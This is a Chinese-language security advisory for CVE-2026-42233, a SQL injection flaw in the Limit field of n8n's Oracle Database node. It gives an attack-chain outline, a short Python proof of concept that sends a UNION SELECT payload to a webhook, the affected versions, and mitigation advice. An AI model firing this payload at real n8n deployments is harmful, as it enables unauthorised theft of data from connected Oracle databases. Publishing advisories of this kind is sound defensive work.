IPBUF安全漏洞报告
English
CVE-2026-42233 CVSS 9.8 严重

CVE-2026-42233 n8n Oracle节点SQL注入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42233
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

SQL注入n8nOracle数据泄露CVE-2026-42233

漏洞概述

n8n是一个开源工作流自动化平台。在特定版本之前,Oracle Database节点的select操作存在缺陷,允许用户控制输入通过表达式传入Limit字段并直接插入SQL查询。攻击者可利用此漏洞注入任意SQL,从连接的Oracle数据库中窃取数据。

技术细节

该漏洞源于n8n在处理Oracle数据库节点的select操作时,对Limit字段的输入处理不当。系统允许通过表达式动态设置Limit值,但未进行充分的清理或参数化,直接将输入拼接到SQL语句中。攻击者可通过Webhook等外部输入源,向Limit字段提交恶意SQL代码。由于无需认证即可触发(若Webhook公开),攻击者可利用此漏洞执行任意SQL查询,导致敏感数据泄露或数据库被篡改。

攻击链分析

STEP 1
1. 侦察
识别使用Oracle数据库节点且通过Webhook接受外部输入的n8n工作流。
STEP 2
2. 构造Payload
针对Limit字段构造恶意SQL注入Payload,例如利用UNION查询提取数据。
STEP 3
3. 发送请求
向n8n的Webhook端点发送包含恶意Payload的HTTP请求。
STEP 4
4. 执行注入
n8n处理工作流,将未经清理的Limit值拼接到Oracle SQL语句并执行。
STEP 5
5. 数据泄露
攻击者通过SQL语句获取Oracle数据库中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-42233 # Target: n8n workflow with Oracle node using external input for Limit field target_url = "https://<target-n8n-instance>/webhook/hook-id" # SQL Injection payload to extract database version # Assuming the workflow maps the input 'limit' to the Oracle node's Limit field sql_payload = "1 UNION SELECT NULL, user, version FROM v$instance--" payload = { "limit": sql_payload } response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the response or database logs indicate SQL execution.") else: print(f"[-] Request failed: {response.status_code}")

影响范围

n8n < 1.123.32
n8n < 2.17.4
n8n < 2.18.1

防御指南

临时缓解措施
在无法立即升级的情况下,应检查所有涉及Oracle数据库节点的n8n工作流。确保Limit字段使用静态值或经过严格验证的输入。建议在数据进入Oracle节点之前,使用Function节点添加正则表达式校验,确保输入仅包含数字。同时,限制对触发工作流的Webhook的网络访问,仅允许可信IP调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表